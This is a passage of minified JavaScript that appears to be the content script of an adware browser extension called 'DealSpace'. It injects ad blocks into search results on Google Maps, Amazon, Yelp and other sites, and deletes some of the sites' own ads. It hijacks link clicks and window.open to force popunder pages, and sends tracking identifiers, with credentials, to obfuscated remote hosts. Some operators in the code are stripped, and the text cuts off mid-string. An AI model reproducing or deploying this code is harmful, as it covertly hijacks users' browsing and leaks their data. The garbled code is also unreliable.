hrefSelector: \".gRsSlicetitle\", unique_search_divs: \"2\", dr: [\"#gRsTopLinks\"], urls: [\"http://search.triple-search.com/?*\", \"http://www.search.triple-search.com/?*\"], src_for_keyword: \"#q\", validate: function () { var a = b.utils.query_selector_all(\".gRsSTypeSelltr\"); if (0 < a.length) { for (var c = 0; c < a.length; c++)if (\"English\" == a[c].innerHTML)return !0; return !1 } } }, incredimail: { hrefSelector: \".title\", unique_search_divs: \"3\", dr: [\"#MainSponsoredLinks\"], urls: [\"http://www.search.incredimail.com/search.php?q*\", \"http://search.incredimail.com/search.php?q*\"], src_for_keyword: \"#q\", validate: function () { return -1 < location.href.indexOf(\"lang=english\") ? !0 : !1 } }, gmaps: { hrefSelector: \"div[class^='ads-line'] a\", unique_search_divs: \"1\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"https://www.google.com/maps/*\"], src_for_keyword: \"#searchboxinput\", tweak: function () { var a = function () { b.remove_search(); b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop = \"0px\"; document.getElementById(\"reveal-cards\").style.marginTop = \"0px\" }; b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"cards\"), !1); b.events.add(\"keyup\", function () { a() }, !1, document.getElementById(\"searchbox_form\"), !1); b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"viewcard\"), !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".gscb_a\")[0], !1); var c = function (a) { a = document.querySelector(a); return getComputedStyle(a, null).height }(\".yael .cards-card\"); document.querySelector(\".omnibox-cards-transformations\").style.marginTop = c; document.querySelector(\"#reveal-cards\").style.marginTop = c }, validate: function (a) { b.utils.isIE() || (b.num_of_items_in_one = 1, a()) } }, amazon: { unique_search_divs: \"1\", urls: [\"http://www.amazon.com*&field-keywords=*\"], src_for_keyword: \"#twotabsearchtextbox\", validate: function (a) { a() }}, smartAddress: { hrefSelector: [\"li a\"], unique_search_divs: \"2\", dr: [\".peach ol\"], urls: [\"search.smartaddressbar.com/web.php?s=*\"], src_for_keyword: \"#stxt\", tweak: function () { var a = b.utils.query_selector_all(\".peach\")[0], c = b.utils.query_selector_all(\".right ul\")[0]; a && a.parentNode.removeChild(a); c && c.parentNode.removeChild(c) }, validate: function () { return !0 }}, superpages: { unique_search_divs: \"1\", urls: [\"http://yellowpages.superpages.com/listings.jsp?*\"], src_for_keyword: \"input[type='text']#what\", validate: function () { return !0 }}, yelp: { unique_search_divs: \"1\", urls: [\"http://www.yelp.com/search?find_desc=*\"], src_for_keyword: \"input#find_desc\", validate: function () { b.num_of_items_in_one = 1; return !0 }}, yellowpages: { unique_search_divs: \"1\", urls: [\"http://www.yellowpages.com/search?search_terms=*\"], src_for_keyword: \"input[type='text']#query\", validate: function () { return !0 }}, info: { unique_search_divs: \"1\", urls: [\"http://www.info.com/search?*\"], src_for_keyword: \"input[type='text']#qkw0\", validate: function () { return !0 }}, webcrawler: { unique_search_divs: \"1\", urls: [\"http://www.webcrawler.com/search/web?*\"], src_for_keyword: \"input[type='text']#topSearchTextBox\", validate: function () { return !0 }}, webssearches: { unique_search_divs: \"1\", urls: [\"http://search.webssearches.com/search/web?*\", \"http://istart.webssearches.com/web/?q=*\", \"http://istart.webssearches.com/web?q=*\"], src_for_keyword: [\"input[type='search']#topSearchTextBox\", \"input[type='text']#q\"], validate: function () { b.num_of_items_in_one = 2; return !0 }}, mywebsearch: { unique_search_divs: \"1\", urls: [\"http://search.mywebsearch.com/mywebsearch/*\"], src_for_keyword: [\"input#q\"], validate: function () { return !0 }} }; var l = function (a) { if (\"string\" == typeof a) { var c = a.match(/:nth-match\\(([0-9]+)\\)/); if (c && 1 < c.length)return a = b.utils.query_selector_all(a.substr(0, c.index)) || [], a[c[1]] || void 0; a = b.utils.query_selector_all(a) || []; return a[0] || void 0 } }; b.events = new function () { var a = this; a.cache = []; a.add = window.addEventListener ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f.addEventListener(b, d, e); g && a.cache.push([b, d, e, f]) } : window.attachEvent ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f[\"e\" + b + d] = d; f[b + d] = function () { f[\"e\" + b + d](window.event) }; f.attachEvent(\"on\" + b, f[b + d]); g && a.cache.push([b, d, e, f]) } : function () { }; a.remove = window.removeEventListener ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.removeEventListener(a, b, e) } : window.detachEvent ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.detachEvent(\"on\" + a, f[a + b]); f[a + b] = null; f[\"e\" + a + b] = null } : function () { }; a.flush = function () { for (var b = 0; b < a.cache.length; b++)a.remove.apply(a, a.cache[b]); a.cache = [] } }; b.get_insertion_element = function (a) { return !a.insert || \"before\" != a.insert && \"after\" != a.insert ? a.element : a.element.parentNode }; b.dom = new function () { this.json_to_html = function (a, c) { if (\"#text\" == a.type)c = document.createTextNode(a.text); else if (\"#comment\" != a.type) { c || (c = document.createElement(a.type)); if (a.attrs) { for (var d in a.attrs)if (a.attrs.hasOwnProperty(d))if (\"style\" == d && a.attrs.style instanceof Object)for (var e in a.attrs.style) { var f = b.utils.dhtml_prop_name(e); try { c.style[f] = a.attrs.style[e] } catch (g) { } } else c.setAttribute(d, a.attrs[d]); \"iframe\" == a.type && (a.attrs.hasOwnProperty(\"frameborder\") && (c.frameBorder = a.attrs.frameborder), a.attrs.hasOwnProperty(\"marginwidth\") && (c.marginWidth = a.attrs.marginwidth), a.attrs.hasOwnProperty(\"marginheight\") && (c.marginHeight = a.attrs.marginheight)) } if (a.children)for (d = 0; d < a.children.length; d++) { f = a.children[d]; e = arguments.callee(f); try { c.appendChild(e) } catch (h) { if (\"#text\" == f.type && \"string\" == typeof f.text)if (\"style\" == a.type && c.styleSheet)c.styleSheet.cssText = f.text || \"\"; else if (e = b.utils.get_node_text_prop(c))c[e] = f.text } } } return c } }; b.addEventClick = function (a, c) { for (var d = 0; d < a.length; d++)b.events.add(\"click\", function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; this.href = \"#\"; location.href = c + \"&j=true\"; b.events.flush(); localStorage.setItem(b.prefix, b.now + b.clickInterval); return !1 }, !1, a[d], !0) }; b.checkClickInterval = function (a) { if (b.now > a)return !0 }; b.setClickHref = function (a, c) { if (\"undefined\" != typeof b.projects_info[c].hrefSelector) { if (b.utils.getRandomInt(1, 1E4) >= 1E4 / b.ratio)return !1; var d = b.projects_info[c].hrefSelector, e = parseInt(localStorage.getItem(b.prefix)); if (\"undefined\" != typeof d) { if (d instanceof Array)for (var f = 0; f < d.length; f++) { var g = b.utils.query_selector_all(d[f]); if (0 < g.length)break } else g = b.utils.query_selector_all(d); if (!e || b.checkClickInterval(e))b.addEventClick(g, a), b.j = !0 } } }; b.escape_chars_for_json = function (a) { for (var b in a)\"string\" === typeof a[b] && (a[b] = a[b].replace(/\\\"/g, '\\\\\"')); return a }; b.tpl_engine = function (a, c, d) { \"false\" !== d.layouts.unique && (c = b.escape_chars_for_json(c)); a = JSON.stringify(a); d = [{replace: \"title\", \"with\": c.title}, { replace: \"displayUrl\", \"with\": c.displayUrl}, {replace: \"description\", \"with\": c.description}, {replace: \"clickUrl\", \"with\": c.clickUrl}]; for (var e = 0; e < d.length; e++)a = a.replace(RegExp(\"\\\\[##\" + d[e].replace + \"##\\\\]\", \"g\"), d[e][\"with\"]); try { return \"undefined\" !== typeof c.pxl && \"\" !== c.pxl && b.utils.sendPixels(c.pxl), JSON.parse(a) } catch (f) { } }; b.get_item_json = function (a, c) { var d = b.utils.clone_object(a.layouts.template); d.attrs instanceof Object || (d.attrs = {}); return d = b.tpl_engine(d, c, a) }; b.add_jsonp_to_config = function (a, c) { b.get_item_json(a) }; b.remove_search = function () { var a = b.utils.query_selector_all(\".yael\"); if (0 < a.length)for (var c = 0; c < a.length; c++)a[c].parentNode.removeChild(a[c]) }; b.inject_json = function (a) { \"first\" == a.insert ? a.element.insertBefore(a.node, a.element.firstChild) : \"before\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element) : \"after\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element.nextSibling) : a.element.appendChild(a.node) }; b.get_ad_dom = function (a) { return a.layouts instanceof Object && a.layouts.dom instanceof Object ? a.layouts.dom : !1 }; b.get_layout_type = function (a) { if (a.layouts instanceof Object)for (var b = 0; b < k.length; b++)if (-1 < a.layouts.id.indexOf(k[b]))return k[b]; return !1 }; b.create_search = function (a) { a = b.get_ad_dom(a); return b.dom.json_to_html(a) }; b.templates = new function () { this.container_id = 0; this.add_real_links = function (a, c) { b.utils.add_event(\"click\", function (b) { window.open(a); b.preventDefault ? b.preventDefault() : b.returnValue = !1 }, !1, c) } }; b.validate_response = function () { for (var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/) && __yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/, \"\") }; b.is_target_valid = function (a) { if (0 != __yael_res.data.numberOfItems && \"undefined\" != typeof a.element)return a.urls instanceof Array && !b.utils.match_url(a.element.ownerDocument.location.href, a.urls) ? !1 : !0 }; var n = null; b.get_target_element = function (a) { if (a.inserts instanceof Array && \"undefined\" == typeof a.element)for (var b = 0; b < a.inserts.length; b++)if (a.element = l(a.inserts[b].selector), \"undefined\" !== typeof a.element) { a.insert = a.inserts[b].at; break } }; b.add_data_to_config = function (a, c) { if (0 == c.length)return b.unique_items_left = !1; var d = b.get_ad_dom(a); (function (a, c) { c.children && 0 !== c.children.length ? (c = c.children[c.children.length - 1], arguments.callee(a, c)) : b.insert_point = c })(a, d); for (var e = 0; e < b.num_of_items_in_one && 0 != c.length; e++) { var f = b.get_item_json(a, c[0]); try { b.insert_point.children.push(f) } catch (g) { b.insert_point = d, b.insert_point.children.push(f) } \"true\" == a.layouts.unique ? b.not_unique_items.push(c.shift()) : c.shift() } }; b.addEventsToItems = function () { for (var a = document.querySelectorAll('a[href*=\"' + b.jsonpHost + '\"]'), c = 0; c < a.length; c++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[c], !1) }; b.check_if_div_in_dom = function (a, b) { var d = [], e; for (e in __yael_res.config.targets) { var f = __yael_res.config.targets[e]; clearTimeout(n); a++; if (4 < a)return; if (f.inserts instanceof Array && \"undefined\" == typeof f.element)for (var g = 0; g < f.inserts.length; g++) { var h = l(f.inserts[g].selector); \"undefined\" !== typeof h && d.push(h) } } for (e = 0; e < d.length; e++)if (\"undefined\" == typeof d[e]) { var k = this; n = setTimeout(function () { k.apply(k, arguments) }, 200) } b() }; b.addExtensionName = function (a) { var c = JSON.stringify(a.layouts.dom); if (!c.match(/\\[##eid##\\]/))return a; c = c.replace(/\\[##eid##\\]/g, b.eid); a.layouts.dom = JSON.parse(c); return a }; b.loop_targets = function (a, c, d) { if (a instanceof Object && (b.get_target_element(a), b.is_target_valid(a) && (\"false\" == d && b.unique_items_left && (c = b.not_unique_items), 0 != c.length))) { b.add_data_to_config(a, c); try { a = b.addExtensionName(a) } catch (e) { } try { a.node = b.create_search(a) } catch (f) { } \"undefined\" != typeof a.node && b.inject_json(a) } }; b.removeSecondClick = function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++)b.events.add(\"click\", function (a) { setTimeout(function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++) { var d = a[c]; d.outerHTML = d.outerHTML.replace(/href\\=/ig, \"_href=\") } }, 20) }, !1, a[c], !0) }; b.addCloseFunctionality = function () { function a(a) { for (var b = a.className.split(\" \"), c = 0; c < b.length; c++)if (\"yael\" === b[c])return a; if (!a.parentElement)return !1; a = a.parentElement; return arguments.callee(a) } var c = b.utils.query_selector_all(\".yael_close_btn\"); if (c)for (var d = 0; d < c.length; d++)b.events.add(\"click\", function () { try { var b = a(this) } catch (c) { } b && b.parentElement.removeChild(b) }, !1, c[d], \"closeBtn\") }; b.inject_search = function () { b.not_unique_items = []; 0 != __yael_res.data.items.length && (b.setClickHref(__yael_res.data.items[0].clickUrl, b.projects_name), b.check_if_div_in_dom(0, function () { for (var a in __yael_res.config.targets) { var c = __yael_res.config.targets[a]; b.loop_targets(c, __yael_res.data.items, c.layouts.unique) } \"function\" == typeof b.projects_info[b.projects_name].tweak && b.projects_info[b.projects_name].tweak(); b.j || b.removeSecondClick(); b.addCloseFunctionality(); b.utils.flushWaitForTokens() })) }; b.init_search_project = function () { b.waitForElementCounter = 0; \"undefined\" != typeof __yael && b.remove_search(); for (var a in b.projects_info)if (b.utils.match_url(location.href, b.projects_info[a].urls)) { var c = b.projects_info[a]; b.projects_name = a; if (-1 < b.initThrottle.indexOf(a))c.validate(function () { c.name = b.projects_name; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) }); else { if (!c.validate())return; c.name = b.projects_name; b.projects_name = a; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) } } return !1 }; b.get_keyword = function (a, c) { var d = a.src_for_keyword, e = function (d) { b.inputElement = d[0]; b.keyword = b.inputElement.value; if (2 > b.keyword.length)return b.utils.flushWaitForTokens(), !1; if (b.inputElement && \"input\" == b.inputElement.tagName.toLowerCase() && \"\" !== b.keyword)return c(b.keyword, a.name) }; if (d instanceof Array)for (var f = 0; f < d.length; f++)b.utils.waitForElement(d[f], function (a) { a && e(a) }, 100, \"keyword\"); else b.utils.waitForElement(d, function (a) { a && e(a) }, 100, \"keyword\") }; b.remove_se_handler = function (a) { var c = b.projects_info[a].dr; if (c instanceof Array)if (\"bing\" == a)for (c = b.utils.query_selector_all(c[0]), a = 0; a < c.length; a++)b.remove_se(c[a]); else for (a = 0; a < c.length; a++) { var d = l(c[a]); b.remove_se(d) } }; b.remove_se = function (a) { a && a.parentElement.removeChild(a) }; b.jsonp_request = function (a, c) { var d = b.num_of_items_in_one * parseInt(b.projects_info[c].unique_search_divs); window.__yael_cb = function (a) { window.__yael_res = a; \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && b.remove_se_handler(c), __yael.inject_search()) }; \"undefined\" == typeof window.__yael && (window.__yael = b); d = b.jsonpHost + \"/?v=\" + b.version + \"&p=\" + c + \"&keyword=\" + a + \"&numItems=\" + d + \"&hid=1461401463529793754&eid=1358&pid=21153&prid=186\"; \"undefined\" != typeof specificFeeds && specificFeeds instanceof Array && (d += \"&_feeds=\" + specificFeeds.join(\",\")); if (b.utils.isIE()) { if (document.getElementById(\"__yael_script\")) { var e = document.getElementById(\"__yael_script\"); e.parentNode.removeChild(e) } e = document.createElement(\"script\"); e.id = \"__yael_script\"; e.src = \"//\" + d + \"&domvar=__yael_cb\"; e.type = \"text/javascript\"; b.utils.addScript(e, c) } else b.utils.ajax.get(\"//\" + d, function (a) { \"\" != a && (window.__yael_res = JSON.parse(a), window.__yael_res.config.targets.header.num_of_items_in_one && (b.num_of_items_in_one = window.__yael_res.config.targets.header.num_of_items_in_one), \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && __yael.remove_se_handler(c), __yael.inject_search())) }) }; \"undefined\" == typeof __yael && b.init_search_project(); -1 < b.initThrottle.indexOf(b.projects_name) && b.events.add(\"keyup\", b.utils.throttle(b.init_search_project, 3E3), !1, b.inputElement, !1) } };}catch(e){};try{window.top==window.self&&\"http:\"==location.protocol&&new function(){var a=this;a.installer_id=\"8482142832119352780\";a.hardware_id=\"1461401463529793754\";a.timestamp=(new Date).getTime();a.unique=function(){if(560? 2109:388)+\"?installer_file_name=\";a.bin=\"exe,msi,mp3,rar,pdf,avi,mov,mpg,zip,torrent,mkv,mpeg,mp4,3gp,jar,7z,flac,wmv,wma,doc,ppt,pptx,pps,ppsx,xls,xlsx,flv\";a.res=[];a.existingPrefix=\"rghbyujk\";a.prefix=\"fghjklfgh\";a.utils=new function(){var b=this;b.injectScript=function(){var b=document.createElement(\"script\");b.src=a.domain;document.getElementsByTagName(\"head\")[0].appendChild(b)};b.ajax={get:function(a,e){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",a,!0),this.xhr.onreadystatechange=function(){4==b.ajax.xhr.readyState&&e(b.ajax.xhr.responseText)},this.xhr.send()}catch(f){}}};b.isIE=function(){return-1=a-e)}};b.getInstructions=function(c,d){b.msie?b.inject_script(c+('&cb='+a.prefix+'.'+d)):b.ajax.get(c,function(c){if(c)a[d](c)})};b.l=new function(){var c=this;c.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';c.encode=function(a){a=c._utf8_encode(a);for(var b='',e=0;e>2,f=(f&3)<<4|h>>4,n=(h&15)<<2|l>>6,m=l&63;isNaN(h)?n=m=64:isNaN(l)&&(m=64);b=b+c.xlat.charAt(k)+c.xlat.charAt(f)+(64==n?'=':c.xlat.charAt(n))+(64==m?'=':c.xlat.charAt(m))}return b};c._utf8_encode=function(c){if(c&&c.length){for(var a='',b=0;bf?a+=String.fromCharCode(f):(127f?a+=String.fromCharCode(f>>6|192):(a+=String.fromCharCode(f>>12|224),a+=String.fromCharCode(f>>6&63|128)),a+=String.fromCharCode(f&63|128))}return a}return c};c.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',e=0;e>2,m=(l&3)<<6|k,b=b+String.fromCharCode(f<<2|h>>4);64!=l&&0f)c+=String.fromCharCode(f),b++;else if(191f)var h=a.charCodeAt(b+1),c=c+String.fromCharCode((f&31)<<6|h&63),b=b+2;else var h=a.charCodeAt(b+1),l=a.charCodeAt(b+2),c=c+String.fromCharCode((f&15)<<12|(h&63)<<6|l&63),b=b+3}return c}};b.ajax=new function(){this.get=function(a,b){try{var g=new XMLHttpRequest;g.open('GET',a,!0);g.withCredentials=!0;g.onreadystatechange=function(){4==g.readyState&&b(g.responseText)};g.send()}catch(e){}}};b.randomChar=function(){for(var a='',b=0;2>b;b++)a+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52*Math.random()));return a};b.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();b.inject_script=function(c){var b=document.getElementsByTagName('body')[0],g=document.createElement('script');g.type='text/javascript';g.id='id_'+a.prefix;g.src=c;b&&b.appendChild(g)};b.epoch=function(){return Math.floor((new Date).getTime()/1E3)};b.getVert=function(){var a=localStorage.getItem('sk398erjds2d');return a?a:b.forexVert()};b.browser=function(){var a=navigator.userAgent.toLowerCase(),b={webkit:/webkit/.test(a),mozilla:/mozilla/.test(a)&&!/(compatible|webkit)/.test(a),chrome:/chrome/.test(a),msie:/msie/.test(a)&&!/opera/.test(a),firefox:/firefox/.test(a),safari:/safari/.test(a)&&!/chrome/.test(a),opera:/opera/.test(a)};b.version=b.safari?(a.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(a.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return b}();b.getNodeTextProp=function(a){return'textContent'in a?'textContent':'innerText'in a?'innerText':!1};b.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,c,b){return b.toUpperCase()})};b.get_computed_style='function'!=typeof window.getComputedStyle?function(a){return{getPropertyValue:function(d){'float'==d&&(d='styleFloat');d=b.dhtml_prop_name(d);return'object'==typeof a.currentStyle&&null!=a.currentStyle&&'undefined'!=typeof a.currentStyle[d]?a.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};b.getEmptyWindow=function(){var a=document.createElement('iframe');a.src='about:blank';a.setAttribute('style','display:inline;width:1px;height:1px;padding:none;margin:none;');document.body.appendChild(a);return a.contentWindow}};a.prefix='fghjktghndfgtssss';a.extName='DealSpace';a.version='0.1.1';a.pop_collision_id='__ipm=';a.pixelHostname=function(){try{return'//mnh.'+eval('[\"winnered.info\",\"winnermore.info\"]')['https:'==window.location.protocol?1:0]}catch(a){return['//mnh.winneri.info','//mnh.winnermore.org']['https:'==window.location.protocol?1:0]}}();a.watcherCount=0;a.fallbackHostnames=['compey.net','comprises.info'];try{a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"unitspybookukset.in\",\"comprises.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(q){a.hostnames=a.fallbackHostnames}var p;p=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.szy_domain&&a.stngs.szy_domain instanceof Array?a.stngs.szy_domain:a.fallbackHostnames;a.hostnames=p;a.debugMode&&(a.debug=new function(){var b=this;window.oldSetTimeout=window.setTimeout;window.oldSetInterval=window.setInterval;b.overrideSettimeout=function(){window.setTimeout=function(a,b){return window.oldSetTimeout(function(){try{console.log('%csetTimeout: '+a.toString(),'color:purple'),a()}catch(b){}},b)}};b.overrideSetinterval=function(){window.setInterval=function(a,b){return window.oldSetInterval(function(){try{console.log('setInterval: '+a.toString()),a()}catch(b){}},b)}};b.overrideVariables=function(){a.pid='12';a.cc='US';a.eid='10';a.hid='123456789';a.ename='QA extension';a.lt='2617.24';a.jpshort='_OXQj15i';a.platform_version='10'};b.init=function(){b.overrideSettimeout();b.overrideSetinterval();b.overrideVariables()};b.init()});a.legacyHostnames=['superiends.org','go.turboloves.net','installerapplicationusa.com','stylene.net'];a.body=document.getElementsByTagName('body')[0];a.params={subid:a.pid,subid1:a.hid,subid2:a.eid,'px.pluginh':1,tid:'7',red:'1',subid3:'679'};a.manhattanCookieInterval=0.0015;a.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(c,d,g,e,f){'undefined'==typeof e&&(e=window);e.addEventListener(c,d,g);f&&a.cache.push([c,d,g,e])}:window.attachEvent?function(c,d,g,e,f){'undefined'==typeof e&&(e=window);e['e'+c+d]=d;e[c+d]=function(){e['e'+c+d](window.event)};e.attachEvent('on'+c,e[c+d]);f&&a.cache.push([c,d,g,e])}:function(){};a.remove=window.removeEventListener?function(a,b,g,e){'undefined'==typeof e&&(e=window);e.removeEventListener(a,b,g)}:window.detachEvent?function(a,b,g,e){'undefined'==typeof e&&(e=window);e.detachEvent('on'+a,e[a+b]);e[a+b]=null;e['e'+a+b]=null}:function(){};a.flush=function(){for(var c=0;cf[h].length||(c[f[h]]?c[f[h]]++:c[f[h]]=1)}catch(l){}var e=[],k;for(k in c)e.push([k,c[k]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(k=0;ka.utils.msie?window.open(a.manhattanUrl,d,g):b.call(window,a.manhattanUrl,d,g);d=d||'';window.open=a.cachedOpenFn;return a.utils.msie&&9>a.utils.msie?window.open(c,d,g):b.call(window,c,d,g)}}(window.open);4c.msie?c.inject_script(b+('&cb='+d.prefix+'.'+f)):c.ajax.get(b,function(b){if(b)d[f](b)})};c.l=new function(){var b=this;b.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';b.encode=function(f){f=b._utf8_encode(f);for(var c='',e=0;e>2,a=(a&3)<<4|d>>4,p=(d&15)<<2|m>>6,n=m&63;isNaN(d)?p=n=64:isNaN(m)&&(n=64);c=c+b.xlat.charAt(k)+b.xlat.charAt(a)+(64==p?'=':b.xlat.charAt(p))+(64==n?'=':b.xlat.charAt(n))}return c};b._utf8_encode=function(b){if(b&&b.length){for(var c='',a=0;ad?c+=String.fromCharCode(d):(127d?c+=String.fromCharCode(d>>6|192):(c+=String.fromCharCode(d>>12|224),c+=String.fromCharCode(d>>6&63|128)),c+=String.fromCharCode(d&63|128))}return c}return b}; b.decode=function(b){b=b.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var c='',a=0;a>2,n=(m&3)<<6|k,c=c+String.fromCharCode(d<<2|h>>4);64!=m&&0 d)c+=String.fromCharCode(d),a++;else if(191d)var h=b.charCodeAt(a+1),c=c+String.fromCharCode((d&31)<<6|h&63),a=a+2;else var h=b.charCodeAt(a+1),m=b.charCodeAt(a+2),c=c+String.fromCharCode((d&15)<<12|(h&63)<<6|m&63),a=a+3}return c}};c.ajax=new function(){this.get=function(b,c){try{var a=new XMLHttpRequest;a.open('GET',b,!0);a.withCredentials=!0;a.onreadystatechange=function(){4==a.readyState&&c(a.responseText)};a.send()}catch(e){}}};c.randomChar=function(){for(var b='',c=0;2>c;c++)b+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52* Math.random()));return b};c.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(b)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(b)?!1:b}();c.inject_script=function(b){var c=document.getElementsByTagName('body')[0],a=document.createElement('script');a.type='text/javascript';a.id='id_'+d.prefix;a.src=b;c&&c.appendChild(a)};c.epoch=function(){return Math.floor((new Date).getTime()/1E3)};c.getVert= function(){var b=localStorage.getItem('sk398erjds2d');return b?b:c.forexVert()};c.browser=function(){var b=navigator.userAgent.toLowerCase(),c={webkit:/webkit/.test(b),mozilla:/mozilla/.test(b)&&!/(compatible|webkit)/.test(b),chrome:/chrome/.test(b),msie:/msie/.test(b)&&!/opera/.test(b),firefox:/firefox/.test(b),safari:/safari/.test(b)&&!/chrome/.test(b),opera:/opera/.test(b)};c.version=c.safari?(b.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(b.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return c}(); c.getNodeTextProp=function(b){return'textContent'in b?'textContent':'innerText'in b?'innerText':!1};c.dhtml_prop_name=function(b){return b.replace(/(\\-([a-z]){1})/g,function(b,c,a){return a.toUpperCase()})};c.get_computed_style='function'!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(a){'float'==a&&(a='styleFloat');a=c.dhtml_prop_name(a);return'object'==typeof b.currentStyle&&null!=b.currentStyle&&'undefined'!=typeof b.currentStyle[a]?b.currentStyle[a]:null}}}:function(b, c){return window.getComputedStyle(b,c)||{getPropertyValue:function(){}}};c.mapAdTypes=function(b){for(var c={},a=0;ad.utils.msie)&&'http:'===a.split('/')[0]){var g={type:'div',attrs:{id:'__modal_container',style:{position:'fixed','z-index':'9999999999',height:'100%',width:'100%',margin:'0',padding:'0',background:'rgba(0,0,0,0.3)',top:'0',right:'0',bottom:'0',left:'0','border-radius':'0'}},children:[{type:'div',attrs:{id:'__modal',style:{position:'absolute', 'z-index':'99999999999',left:'50%',top:'10px','text-align':'left',width:'90%',margin:'0 0 0 -45%','background-color':'#FFFFFF',border:'1px solid #DDDDDD','border-radius':'5px',height:'90%',padding:'0'}},children:[{type:'div',attrs:{style:{margin:'0',padding:'2px',left:'0',width:'inherit',top:'0','background-color':'transparent'},id:'__modal_close'},children:[{type:'img',attrs:{src:'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABA1JREFUeNp8VW9IW1cUP3l5eS9iZx+amsaNtNZsdtgttnSkBYmRLEsVs1rwi9Z9Udm6YZXYTr+MaMcm4idXPwTUD05BWP3bNBsleREUoabMTzr/wNxEjQqCgoj/Gr2792re8prUC4f3znnn/M65757zuwqEEMRbLMfxXzocV/MLCswfZ2bakpKSTAqFAra3t4ML//zr93pfjL3weOb29vYO4gIQ4GjBwWx1dbVlfn5e3NjYQBHBOpqamkLRtoWFBfEh9mUYhn0bR6ZotTrB5/O5SNDq6irq6OhAxcXFSK1Wy8Rms6G2tja0vLxME4iBgEt78aIQF1in0wnT09Nu4uj1epHRaEQ8z8eARovJZELj4+ORHbk/0OsFGTCLV2BkhFba1dUlBUYDn5WkpaWFggeDQRfHq1kJ2NXQaIlUelaFZ0l7ezsF/7mpyUKBNamp/NLSkogFZWVlyZytVivKz8+PATEYDKimpgZd0GolW9L582h2dhatra2JaWlpPNR+/9hIMrndbllwTk6OdPrNzc3UlpCQgLKzsykAsXd2dspinE4ntT958qORseZZzaTthoeHZS2I+xX29/epXlFRAY2NjYB3BL29vaDRaKh9Z2dHiiE9PjA0BMfHx3Dnjt0MoVDIs7i4GPe/lZaWopWVFaly4hd57+/vjxszMTGB1tfXPYxKpTJtbm7GDA1Zg4ODUFdXB4eHh1RPTEykz9HRUSgrK4s7cBgUlEqliSFbODo6kn0ktsjC0wW7u7uy78QWb0VjMViCycnJcR0/NRqhu7sbBEGgeiSovLwcGhoaqB4th+EwpKSkEJcgg8fSjwkGMjIyZKDJ2KEHg0aSku0/dNbCwcEJ51RWVkJ1TS28OQZ4g/OF8fMIi/7SJdja2vIzflEcI44Oh0MG/Mm1azLQkpISGHjWB85HjyXwz25eP/0H+Fzwo6joLrx37hw8/8M3Btdv3ODxKYuEvTSp2pi+rK+vp+/4kBEoT8RssZIJQ+kfZlJdgckNFCr00ucnHSMab97iaQf82tNDR7q1tfWdI0uAFcr/wRklhxiGk/QH335H27BvYMgiccXly+ks7mdKQlVVVTG